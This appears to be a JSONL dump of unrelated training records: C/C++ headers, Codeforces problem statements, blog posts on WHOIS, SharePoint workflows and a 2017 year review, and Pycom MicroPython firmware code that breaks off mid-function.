{"text": "/*\n// Copyright (c) 2017 Intel Corporation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n*/\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n#pragma once\n#include \"api/CPP/simpler_nms.hpp\"\n#include \"primitive_inst.h\"\n\nnamespace cldnn\n{\n\ntemplate <>\nstruct typed_program_node<simpler_nms> : public typed_program_node_base<simpler_nms>\n{\n    auto& cls_score() const { return get_dependency(0); }\n    auto& bbox_pred() const { return get_dependency(1); }\n    auto& image_info() const { return get_dependency(2); }\n};\n\nusing simpler_nms_node = typed_program_node<simpler_nms>;\n\ntemplate <>\nclass typed_primitive_inst<simpler_nms> : public typed_primitive_inst_base<simpler_nms>\n{\n    using parent = typed_primitive_inst_base<simpler_nms>;\n\npublic:\n    struct anchor\n    {\n        float start_x;\n        float start_y;\n        float end_x;\n        float end_y;\n\n        anchor()\n        {\n            start_x = start_y = end_x = end_y = 0.0f;\n        }\n\n        anchor(float s_x, float s_y, float e_x, float e_y)\n        {\n            start_x = s_x;\n            start_y = s_y;\n            end_x = e_x;\n            end_y = e_y;\n        }\n    };\n\n    // indices of the memory objects used by the layer\n    enum input_index {\n        cls_scores_index,\n        bbox_pred_index,\n\t\timage_info_index\n    };\n\n    // indices of the image info parameters inside the image_info memory object (the object\n    // is an integer array of these parameters)\n\tenum image_info_size_index {\n\t\timage_info_width_index = 0,\n\t\timage_info_height_index = 1,\n\t\timage_info_depth_index = 2\n\t};\n\n    static layout calc_output_layout(simpler_nms_node const& node);\n    static std::string to_string(simpler_nms_node const& node);\n\npublic:    \n    typed_primitive_inst(network_impl& network, simpler_nms_node const& desc);\n\n    const std::vector<anchor>& get_anchors() const { return _anchors; }\n\nprivate:\n    std::vector<anchor> _anchors;\n};\n\nusing simpler_nms_inst = typed_primitive_inst<simpler_nms>;\n\n}", "source": "cpt_stack_code", "language": "code", "token_count": 654, "token_count_with_eod": 655, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "How to use the WHOIS output?\nThe WHOIS search is a powerful tool. It gives a lot of valuable information for your domain research. It contains the following information:\n- Allows you to determine if the given domain name is registered.\n- Shows who is the sponsoring registrar.\n- Provides information about the expiration of the domain name.\n- Shows the status of the domain name.\n- Gives a hint how to contact the current owner of the domain name.\nAllows you to determine if the given domain name is registered.\nWell, this one is pretty obvious. If the domain name is registered, then the WHOIS search for the particular name will return a full record for it. If there is no record, then the domain name is most likely available for registration.\nShows who is the sponsoring registrar.\nThe WHOIS search on our side for the most popular TLDs shows both the output from the TLD registrar, and from the Sponsoring Registrar. For example, Verisign is the TLD registry for .com domains, and many other registrars resell .com domain names on behalf of Verisign. These registrars are called Sponsoring Registrars, and they maintain WHOIS records for the names that are registered with them. The WHOIS output of the TLD registry shows who is the Sponsoring Registrar. Popular Sponsoring Registrars are Enom, GoDaddy, NameCheap, etc.\nProvides information about the expiration of the domain name.\nThere is a section in the WHOIS output, which usually lists the date and time when the domain name was registered, the current expiration date, and the last time the information or the status of the domain name were modified.\nShows the status of the domain name.\nThere is a designated field in the WHOIS record, which lists the current status of the domain name. An example purpose of the status is to determine if a given domain name is unlocked for transfer or is it being transferred at the moment. A full list of the possible statuses is available at:\nGives a hint how to contact the current owner of the domain name.\nThe WHOIS records of the domain names used to contain sections with contact details for the Registrant, Administrative, Technical, and Billing contacts for the domain name. This information was very useful when searching about who is the actual domain owner. However, after the General Data Protection Regulation (GDPR) legislation of the European Union was introduced, all the registrars started to hide the personal information from the WHOIS records. The registrars still hold these records on their side, but the access to them is rather limited. It is available only to the other registrars. However, sometimes there are still some crumbs left in the WHOIS records of the Sponsoring Registrar, allowing the users to contact the domain owner. These specific records sometimes contain an email address entry, which forwards to the actual email address of the domain owner. As an alternative, the email entry may lead to a form that forwards to the owner. For example, the domain name of our web dig interface for DNS lookups website is SlimDig.com. The WHOIS lookup for this domain name in the Sponsoring Registrar Enom lists the following entry for the Registrant contact:\nRegistrant Email: https://tieredaccess.com/contact/9d81b8ed-78bd-43ef-909d-0610bc5353d5\nThe above address leads to an email form. If you use it to send a message, then it is going to be forwarded to the actual hidden Registrant contact.\nFor more information about the WHOIS query and response protocol, you can check the Wikipedia page at https://en.wikipedia.org/wiki/WHOIS.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 780, "token_count_with_eod": 781, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A binary matrix is called good if every even length square sub-matrix has an odd number of ones.\n\nGiven a binary matrix $$$a$$$ consisting of $$$n$$$ rows and $$$m$$$ columns, determine the minimum number of cells you need to change to make it good, or report that there is no way to make it good at all.\n\nAll the terms above have their usual meanings — refer to the Notes section for their formal definitions.", "source": "cpt_codeforces", "language": "en", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Fedya and Sasha are friends, that's why Sasha knows everything about Fedya.\n\nFedya keeps his patience in an infinitely large bowl. But, unlike the bowl, Fedya's patience isn't infinite, that is why let $$$v$$$ be the number of liters of Fedya's patience, and, as soon as $$$v$$$ becomes equal to $$$0$$$, the bowl will burst immediately. There is one tap in the bowl which pumps $$$s$$$ liters of patience per second. Notice that $$$s$$$ can be negative, in that case, the tap pumps out the patience. Sasha can do different things, so he is able to change the tap's speed. All actions that Sasha does can be represented as $$$q$$$ queries. There are three types of queries:\n\n1. \"1 t s\"  — add a new event, means that starting from the $$$t$$$-th second the tap's speed will be equal to $$$s$$$.\n2. \"2 t\"  — delete the event which happens at the $$$t$$$-th second. It is guaranteed that such event exists.\n3. \"3 l r v\" — Sasha wonders: if you take all the events for which $$$l \\le t \\le r$$$ and simulate changes of Fedya's patience from the very beginning of the $$$l$$$-th second till the very beginning of the $$$r$$$-th second inclusive (the initial volume of patience, at the beginning of the $$$l$$$-th second, equals to $$$v$$$ liters) then when will be the moment when the bowl will burst. If that does not happen, then the answer will be $$$-1$$$.\n\nSince Sasha does not want to check what will happen when Fedya's patience ends, and he has already come up with the queries, he is asking you to help him and find the answer for each query of the $$$3$$$-rd type.\n\nIt is guaranteed that at any moment of time, there won't be two events which happen at the same second.", "source": "cpt_codeforces", "language": "en", "token_count": 422, "token_count_with_eod": 423, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#pragma once\n\n#include <nan.h>\n#include <node.h>\n#include <girepository.h>\n#include <glib.h>\n#include <cairo.h>\n\nnamespace GNodeJS {\n\nnamespace Cairo {\n\n\nclass TextCluster: public Nan::ObjectWrap {\n  public:\n    static Nan::Persistent<v8::FunctionTemplate> constructorTemplate;\n    static Nan::Persistent<v8::Function>         constructor;\n    static void Initialize(Nan::ADDON_REGISTER_FUNCTION_ARGS_TYPE target);\n    static NAN_METHOD(New);\n    static NAN_GETTER(GetLength);\n    static NAN_GETTER(GetFlags);\n    static NAN_INDEX_GETTER(IndexGetter);\n\n    TextCluster(cairo_text_cluster_t* data, int64_t length, cairo_text_cluster_flags_t flags);\n    ~TextCluster();\n\n    cairo_text_cluster_t* _data;\n    int64_t _length;\n    cairo_text_cluster_flags_t _flags;\n};\n\n\n}; // Cairo\n\n}; // GNodeJS", "source": "cpt_stack_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#include <Foundation/Foundation.h>\n#include \"timer.h\"\n\nvoid RemoveDispatchSource(void *t)\n{\n   dispatch_source_t mySource = *(dispatch_source_t *)t;\n   dispatch_source_cancel(mySource);\n   dispatch_release(mySource);\n}\n\nstatic dispatch_source_t CreateDispatchTimer(uint64_t interval,\n              uint64_t leeway,\n              dispatch_queue_t queue,\n              dispatch_block_t block)\n{\n   dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER,\n                                                     0, 0, queue);\n   if (timer)\n   {\n      dispatch_source_set_timer(timer, dispatch_time(DISPATCH_TIME_NOW, interval), interval, leeway);\n      dispatch_source_set_event_handler(timer, block);\n      dispatch_resume(timer);\n   }\n   return timer;\n}\n\nstatic dispatch_source_t at;\n\nstatic void *MyStoreTimer(dispatch_source_t aTimer)\n{\n  at = aTimer;\n  return &at;\n}\n\nvoid *MyCreateTimer(periodic_task_t MyPeriodicTask, uint64_t interval)\n{\n   dispatch_source_t aTimer = CreateDispatchTimer(interval,\n                               (1ull * NSEC_PER_SEC)/100,\n                               dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),\n                               ^{ (*MyPeriodicTask)(); });\n \n   // Store it somewhere for later use.\n    if (aTimer)\n    {\n        return MyStoreTimer(aTimer);\n    }\n\n    return NULL;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 333, "token_count_with_eod": 334, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "If you put x=y in the given equation it would make no change to the equation as y will take place of x only, Thus what you get will be\nwhich is same as your given equation.\nFor finding a solution to any question the logic is to convert the question into general (predefined forms) which we have already learned.\nThe asked limit looks alot similar to the formula :\nSo, for converting the above format in this predefined format we put x+1=y\nSo we can write,\nHere a=1, n=5 so the solution is", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given two even integers $$$n$$$ and $$$m$$$. Your task is to find any binary matrix $$$a$$$ with $$$n$$$ rows and $$$m$$$ columns where every cell $$$(i,j)$$$ has exactly two neighbours with a different value than $$$a_{i,j}$$$.\n\nTwo cells in the matrix are considered neighbours if and only if they share a side. More formally, the neighbours of cell $$$(x,y)$$$ are: $$$(x-1,y)$$$, $$$(x,y+1)$$$, $$$(x+1,y)$$$ and $$$(x,y-1)$$$.\n\nIt can be proven that under the given constraints, an answer always exists.", "source": "cpt_codeforces", "language": "en", "token_count": 146, "token_count_with_eod": 147, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "SharePoint workflows are really powerful – but debugging any workflow can be a very challenging exercise. You, obviously, have to drive through the process pushing an item one step to the next. That can be difficult if there are mandatory delays, retries, etc. Most of those things are just painful but generally speaking pretty solvable. However, there are some things in workflow that are really hard to get to. I ran into another situation with workflow that was hard to find.\nWhen we were doing some stress testing we managed to break one of my workflows. After some careful work we realized that it happened anytime the workflow got two events at the same time. The second event would disappear. Poof. It just wouldn’t get handled at all. The nastiness of this is that if the second event was a task SharePoint would have locked the task and so it was no longer possible to modify the task – and because of this the workflow would never be able to be moved to completion.\nI’m happy to say that the fix for this issue is in the August 2010 Cumulative update for Windows SharePoint Services 3.0. I tested it with some really abusive situations. In my validation test, I put the thread to sleep for 30 seconds after getting an event. I can say that the events are eventually delivered. However, I should caution that events aren’t always processed in the order that they came in. If I have three events, 1, 2, and 3 I’ve noticed that event 1 is processed then the workflow waits for the timer job and event 3 is processed and after the workflow goes back to sleep again event 2 is processed.\nThe net of this is that you should try to avoid scenarios where you have to get events in a prescribed order even after you’ve applied this fix. However, at least your workflows won’t break if two events come in at the same time – like for instance if you are asking for approvals from many people as was the case in our situation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 412, "token_count_with_eod": 413, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Year In Review: 2017Posted on\n2017 has been a great year for me in many ways, so I wanted to pull together some of my highlights in a quick post.\nWriting & Research\nThanks to friendly nudges and support from colleagues, 2017 was the first year where I’ve started publicly sharing some of the R&D work I get to do alongside my day job. The initial catalyst was the reception to a tweet Chris put out about a piece of research we worked on together involving hourly rank tracking.\n— Chris Green (@chrisgreen87) March 2, 2017\nGiven the evident community interest around this, I wrote up a bit more about our findings on the then newly released StrategiQ Medium blog, and went along to the talk Chris gave at Search London about it.\nI just published “0% stability in SERPs — an experiment in hourly rank tracking” https://t.co/TcP8Okgndq\n— simon (@simon_jthompson) March 9, 2017\nLuckily, as a follow-up to this I was also able to write about a (perhaps obvious) side-effect of the hourly rank tracking which we’d noticed in Google Search Console.\nI just published “Is rank tracking messing with our Google Search Console metrics?” https://t.co/5v62n9Wnh4\n— simon (@simon_jthompson) August 2, 2017\nAnd finally, I polished up and released something I’d been experimenting with for quite a while – a way to view referring Twitter users in Google Analytics.\nI just published “How to view referring Twitter users as a Custom Dimension in Google Analytics” https://t.co/PzakC0WcRh\n— simon (@simon_jthompson) October 4, 2017\n2017 saw another full year at StrategiQ with a number of site launches which I’m particularly proud of. We’ve also made great strides with our development standards and hosting infrastructure, which is something I’m keen to share more about in 2018 to try and help other agencies put better processes in place too.\nOpen Source & Code\nMostly tied in with the blog posts above, I was able to release a few small open source projects over on GitHub. These were;\n- ghks – A Node key/value store, which uses GitHub gists for persistent storage.\n- twitlytics-server – A Node app which resolves a t.co referring URL to the original tweet / tweeter.\n- WPVersion – A JS Module and PHP Class for detecting the version of WordPress being used on a given site.\nI’ve also finished up Louise’s personal website, something we’ve wanted to do for ages now, so if you happen to be looking for Music Tuition in Witham, check out her site!\nPlans for 2018\nWhilst I’m not one for setting specific “New Year’s Resolutions”, I’m definitely hoping to share more blog posts both here and through work in 2018, plus start actually shipping a few of the side-projects I’ve had bubbling away – so watch this space!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * Copyright (c) 2020, Pycom Limited.\n *\n * This software is licensed under the GNU GPL version 3 or any\n * later version, with permitted additional terms. For more information\n * see the Pycom Licence v1.0 document supplied with this file, or\n * available at https://www.pycom.io/opensource/licensing\n */\n\n#include \"py/mpconfig.h\"\n#include \"py/obj.h\"\n#include \"py/objstr.h\"\n#include \"py/runtime.h\"\n#include \"mperror.h\"\n#include \"updater.h\"\n#include \"modled.h\"\n\n#include \"esp_system.h\"\n#include \"nvs_flash.h\"\n#include \"nvs.h\"\n\n#include \"pycom_config.h\"\n#include \"mpexception.h\"\n#include \"machpin.h\"\n#include \"driver/rmt.h\"\n#include \"driver/gpio.h\"\n\n#include \"freertos/FreeRTOS.h\"\n#include \"freertos/task.h\"\n\n#include \"antenna.h\"\n#include \"py/mphal.h\"\n\n#include \"bootmgr.h\"\n#include \"updater.h\"\n\n#include \"mptask.h\"\n\n#include \"modmachine.h\"\n#include \"esp32chipinfo.h\"\n#include \"modwlan.h\"\n\n\n#include <string.h>\n\nextern led_info_t led_info;\n\n\n#define NVS_NAMESPACE                           \"PY_NVM\"\n\n#define WDT_ON_BOOT_MIN_TIMEOUT_MS              (5000)\n\nstatic nvs_handle pycom_nvs_handle;\nboot_info_t boot_info;\nuint32_t boot_info_offset;\n\nstatic void modpycom_bootmgr(uint8_t boot_partition, uint8_t fs_type, uint8_t safeboot, bool reset);\n\nvoid modpycom_init0(void) {\n    if (nvs_open(NVS_NAMESPACE, NVS_READWRITE, &pycom_nvs_handle) != ESP_OK) {\n        mp_printf(&mp_plat_print, \"Error while opening Pycom NVS name space\\n\");\n    }\n    rmt_driver_install(RMT_CHANNEL_0, 1000, 0);\n    if (updater_read_boot_info (&boot_info, &boot_info_offset) == false) {\n        mp_printf(&mp_plat_print, \"Error reading bootloader information!\\n\");\n    }\n}\n\nstatic bool is_empty(uint8_t* value, uint8_t size) {\n    bool ret_val = true;\n    for (int i=0; i < size; i++) {\n        if (value[i] != 0xFF) {\n            ret_val = false;\n        }\n    }\n    return ret_val;\n}\n\nstatic void modpycom_bootmgr(uint8_t boot_partition, uint8_t fs_type, uint8_t safeboot, bool reset) {\n    bool update_part = false;\n    bool update_fstype = false;\n    bool update_safeboot = false;\n\n    if (boot_partition < 255) {\n        if ((boot_partition <= IMG_ACT_UPDATE1) && (boot_info.ActiveImg != boot_partition)) {\n            boot_info.PrevImg = boot_info.ActiveImg;\n            boot_info.ActiveImg = (uint32_t)boot_partition;\n            boot_info.Status = IMG_STATUS_CHECK;\n            update_part = true;\n        } else {\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error invalid boot partition! or partition already active!\"));\n        }\n    }\n    if (safeboot < 255) {\n        if ((safeboot <= 1) && (safeboot != boot_info.safeboot)) {\n            if(safeboot)\n            {\n                boot_info.safeboot = (uint32_t)SAFE_BOOT_SW;\n            }\n            else\n            {\n                boot_info.safeboot = (uint32_t)0x00;\n            }\n            update_safeboot = true;\n        } else {\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error safeboot must be True or False!\"));\n        }\n    }\n    if (fs_type < 255) {\n        if (fs_type <= 1) {\n            if(config_get_boot_fs_type() != fs_type)\n            {\n                config_set_boot_fs_type(fs_type);\n                update_fstype = true;\n            }\n        }\n        else {\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error invalid filesystem type!\"));\n        }\n    }\n    if (update_part || update_safeboot) {\n        if (updater_write_boot_info (&boot_info, boot_info_offset) == false) {\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error writing bootloader information!\"));\n        }\n        if(update_part)\n        {\n            machine_reset();\n        }\n    }\n    if((update_fstype || update_safeboot) && reset)\n    {\n        machine_reset();\n    }\n}\n\n/******************************************************************************/\n// Micro Python bindings\n\n\nSTATIC mp_obj_t mod_pycom_heartbeat (mp_uint_t n_args, const mp_obj_t *args) {\n#ifndef RGB_LED_DISABLE\n    if (n_args) {\n        mperror_enable_heartbeat (mp_obj_is_true(args[0]));\n        if (!mp_obj_is_true(args[0])) {\n            do {\n                mp_hal_delay_ms(2);\n            } while (!mperror_heartbeat_disable_done());\n        }\n    } else {\n        return mp_obj_new_bool(mperror_is_heartbeat_enabled());\n    }\n#else\n    nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"RGB Led Interface Disabled\"));\n#endif\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_heartbeat_obj, 0, 1, mod_pycom_heartbeat);\n\nSTATIC mp_obj_t mod_pycom_rgb_led (mp_obj_t o_color) {\n#ifndef RGB_LED_DISABLE\n    if (mperror_is_heartbeat_enabled()) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_request_not_possible));\n    }\n\n    uint32_t color = mp_obj_get_int(o_color);\n    led_info.color.value = color;\n    led_set_color(&led_info, true, false);\n#else\n    nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"RGB Led Interface Disabled\"));\n#endif\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_pycom_rgb_led_obj, mod_pycom_rgb_led);\n\nSTATIC mp_obj_t mod_pycom_ota_start (void) {\n    if (!updater_start()) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_start_obj, mod_pycom_ota_start);\n\nSTATIC mp_obj_t mod_pycom_ota_write (mp_obj_t data) {\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(data, &bufinfo, MP_BUFFER_READ);\n\n    if (!updater_write(bufinfo.buf, bufinfo.len)) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_pycom_ota_write_obj, mod_pycom_ota_write);\n\nSTATIC mp_obj_t mod_pycom_ota_finish (void) {\n    if (!updater_finish()) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_finish_obj, mod_pycom_ota_finish);\n\nSTATIC mp_obj_t mod_pycom_ota_verify (void) {\n    bool ret_val = updater_verify();\n    return mp_obj_new_bool(ret_val);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_verify_obj, mod_pycom_ota_verify);\n\nSTATIC mp_obj_t mod_pycom_ota_slot (void) {\n    int ota_slot = updater_ota_next_slot_address();\n    return mp_obj_new_int(ota_slot);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_ota_slot_obj, mod_pycom_ota_slot);\n\nSTATIC mp_obj_t mod_pycom_pulses_get (mp_obj_t gpio, mp_obj_t timeout) {\n    rmt_config_t rmt_rx;\n    rmt_rx.channel = RMT_CHANNEL_0;\n    rmt_rx.gpio_num = pin_find(gpio)->pin_number;\n    rmt_rx.clk_div = 80;\n    rmt_rx.mem_block_num = 1;\n    rmt_rx.rmt_mode = RMT_MODE_RX;\n    rmt_rx.rx_config.filter_en = true;\n    rmt_rx.rx_config.filter_ticks_thresh = 100;\n    rmt_rx.rx_config.idle_threshold = 0xFFFF;\n    rmt_config(&rmt_rx);\n\n    RingbufHandle_t rb = NULL;\n    mp_obj_t pulses_l = mp_obj_new_list(0, NULL);\n\n    // get the RMT RX ringbuffer\n    rmt_get_ringbuf_handle(RMT_CHANNEL_0, &rb);\n    rmt_rx_start(RMT_CHANNEL_0, 1);\n\n    size_t rx_size = 0;\n    rmt_item32_t* item = (rmt_item32_t*) xRingbufferReceive(rb, &rx_size, mp_obj_get_int(timeout));\n    if (item) {\n        for (int i = 0; i < rx_size / 4; i++) {\n            mp_obj_t tuple[2];\n            tuple[0] = mp_obj_new_int(item[i].level0);\n            tuple[1] = mp_obj_new_int(item[i].duration0);\n            mp_obj_list_append(pulses_l, mp_obj_new_tuple(2, tuple));\n\n            tuple[0] = mp_obj_new_int(item[i].level1);\n            tuple[1] = mp_obj_new_int(item[i].duration1);\n            mp_obj_list_append(pulses_l, mp_obj_new_tuple(2, tuple));\n        }\n\n        // after parsing the data, return spaces to ringbuffer.\n        vRingbufferReturnItem(rb, (void*) item);\n    }\n\n    rmt_rx_stop(RMT_CHANNEL_0);\n\n    return pulses_l;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_pycom_pulses_get_obj, mod_pycom_pulses_get);\n\n\nSTATIC mp_obj_t mod_pycom_nvs_set (mp_obj_t _key, mp_obj_t _value) {\n\n    const char *key = mp_obj_str_get_str(_key);\n    esp_err_t esp_err = ESP_OK;\n\n    if (MP_OBJ_IS_STR_OR_BYTES(_value)) {\n        const char *value = mp_obj_str_get_str(_value);\n        if (strlen(value) >= 1984) {\n            // Maximum length (including null character) can be 1984 bytes\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"value too long (max: 1984)\"));\n        }\n        esp_err = nvs_set_str(pycom_nvs_handle, key, value);\n    } else if(MP_OBJ_IS_INT(_value)) {\n        uint32_t value = mp_obj_get_int_truncated(_value);\n        esp_err = nvs_set_u32(pycom_nvs_handle, key, value);\n    } else {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Value must be string, bytes or integer\"));\n    }\n\n    if (ESP_OK == esp_err) {\n        nvs_commit(pycom_nvs_handle);\n    } else if (ESP_ERR_NVS_NOT_ENOUGH_SPACE == esp_err || ESP_ERR_NVS_PAGE_FULL == esp_err || ESP_ERR_NVS_NO_FREE_PAGES == esp_err) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, \"No free space available\"));\n    } else if (ESP_ERR_NVS_INVALID_NAME == esp_err || ESP_ERR_NVS_KEY_TOO_LONG == esp_err) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Key is invalid\"));\n    } else {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_Exception, \"Error occurred while storing value, code: %d\", esp_err));\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_pycom_nvs_set_obj, mod_pycom_nvs_set);\n\nSTATIC mp_obj_t mod_pycom_nvs_get (mp_uint_t n_args, const mp_obj_t *args) {\n\n    const char *key = mp_obj_str_get_str(args[0]);\n    esp_err_t esp_err = ESP_OK;\n    mp_obj_t ret = mp_const_none;\n    uint32_t value;\n\n    esp_err = nvs_get_u32(pycom_nvs_handle, key, &value);\n    if (esp_err == ESP_OK) {\n        ret = mp_obj_new_int(value);\n    }\n    else {\n        esp_err = nvs_get_str(pycom_nvs_handle, key, NULL, &value);\n        if(esp_err == ESP_OK) {\n            char* value_string = (char*)malloc(value);\n\n            esp_err = nvs_get_str(pycom_nvs_handle, key, value_string, &value);\n\n            if(esp_err == ESP_OK) {\n                //do not count the terminating \\0\n                ret = mp_obj_new_str(value_string, value-1);\n            }\n            free(value_string);\n        }\n    }\n\n    if(esp_err == ESP_ERR_NVS_NOT_FOUND) {\n        if (n_args > 1) {\n            // return user defined NoExistValue\n            return args[1];\n        }\n        else\n        {\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"No matching object for the provided key\"));\n        }\n    } else if(esp_err != ESP_OK) {\n        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_Exception, \"Error occurred while fetching value, code: %d\", esp_err));\n    }\n\n    return ret;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_nvs_get_obj, 1, 2, mod_pycom_nvs_get);\n\nSTATIC mp_obj_t mod_pycom_nvs_erase (mp_obj_t _key) {\n    const char *key = mp_obj_str_get_str(_key);\n\n    if (ESP_ERR_NVS_NOT_FOUND == nvs_erase_key(pycom_nvs_handle, key)) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_KeyError, \"key not found\"));\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_pycom_nvs_erase_obj, mod_pycom_nvs_erase);\n\nSTATIC mp_obj_t mod_pycom_nvs_erase_all (void) {\n    if (ESP_OK != nvs_erase_all(pycom_nvs_handle)) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_OSError, mpexception_os_operation_failed));\n    }\n    nvs_commit(pycom_nvs_handle);\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_nvs_erase_all_obj, mod_pycom_nvs_erase_all);\n\nSTATIC mp_obj_t mod_pycom_wifi_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args == 0) {\n        return mp_obj_new_bool(config_get_wifi_on_boot());\n    }\n    if (config_get_wifi_on_boot() != mp_obj_is_true(args[0])) {\n        config_set_wifi_on_boot (mp_obj_is_true(args[0]));\n        if (n_args > 1 && mp_obj_is_true(args[1])) {\n            if (mp_obj_is_true(args[0])) {\n                mptask_config_wifi(true);\n            } else {\n                wlan_deinit(NULL);\n            }\n        }\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_on_boot_obj, 0, 2, mod_pycom_wifi_on_boot);\n\nSTATIC mp_obj_t mod_pycom_wifi_mode (mp_uint_t n_args, const mp_obj_t *args) {\n    uint8_t mode;\n    if (n_args) {\n        mode = mp_obj_get_int(args[0]);\n        switch(mode)\n        {\n            case 0:\n                config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_NONE, true);\n                break;\n            case 1:\n                config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_STA, true);\n                break;\n            case 2:\n                config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_AP, true);\n                break;\n            case 3:\n                config_set_wifi_mode ((uint8_t)PYCOM_WIFI_CONF_MODE_APSTA, true);\n                break;\n            default:\n                break;\n        }\n    } else {\n        mode = config_get_wifi_mode();\n        switch(mode)\n        {\n            case PYCOM_WIFI_CONF_MODE_STA:\n                return MP_OBJ_NEW_SMALL_INT(1);\n            case PYCOM_WIFI_CONF_MODE_AP:\n                return MP_OBJ_NEW_SMALL_INT(2);\n            case PYCOM_WIFI_CONF_MODE_APSTA:\n                return MP_OBJ_NEW_SMALL_INT(3);\n            case PYCOM_WIFI_CONF_MODE_NONE:\n            default:\n                return MP_OBJ_NEW_SMALL_INT(0);\n        }\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_mode_obj, 0, 1, mod_pycom_wifi_mode);\n\nSTATIC mp_obj_t mod_pycom_wifi_ssid_sta (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        if(args[0] == mp_const_none)\n        {\n            config_set_sta_wifi_ssid (NULL, true);\n        }\n        else if (MP_OBJ_IS_STR(args[0]))\n        {\n            config_set_sta_wifi_ssid ((uint8_t *)(mp_obj_str_get_str(args[0])), true);\n        }\n        else{/*Nothing*/}\n\n    } else {\n        uint8_t * ssid = (uint8_t *)malloc(33);\n        mp_obj_t ssid_obj;\n        if(config_get_wifi_sta_ssid(ssid))\n        {\n            ssid_obj = mp_obj_new_str((const char *)ssid, strlen((const char *)ssid));\n        }\n        else\n        {\n            ssid_obj = mp_const_none;\n        }\n        free(ssid);\n        return ssid_obj;\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_ssid_sta_obj, 0, 1, mod_pycom_wifi_ssid_sta);\n\nSTATIC mp_obj_t mod_pycom_wifi_pwd_sta (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        if(args[0] == mp_const_none)\n        {\n            config_set_wifi_sta_pwd (NULL, true);\n        }\n        else if (MP_OBJ_IS_STR(args[0]))\n        {\n            config_set_wifi_sta_pwd ((uint8_t *)(mp_obj_str_get_str(args[0])), true);\n        }\n        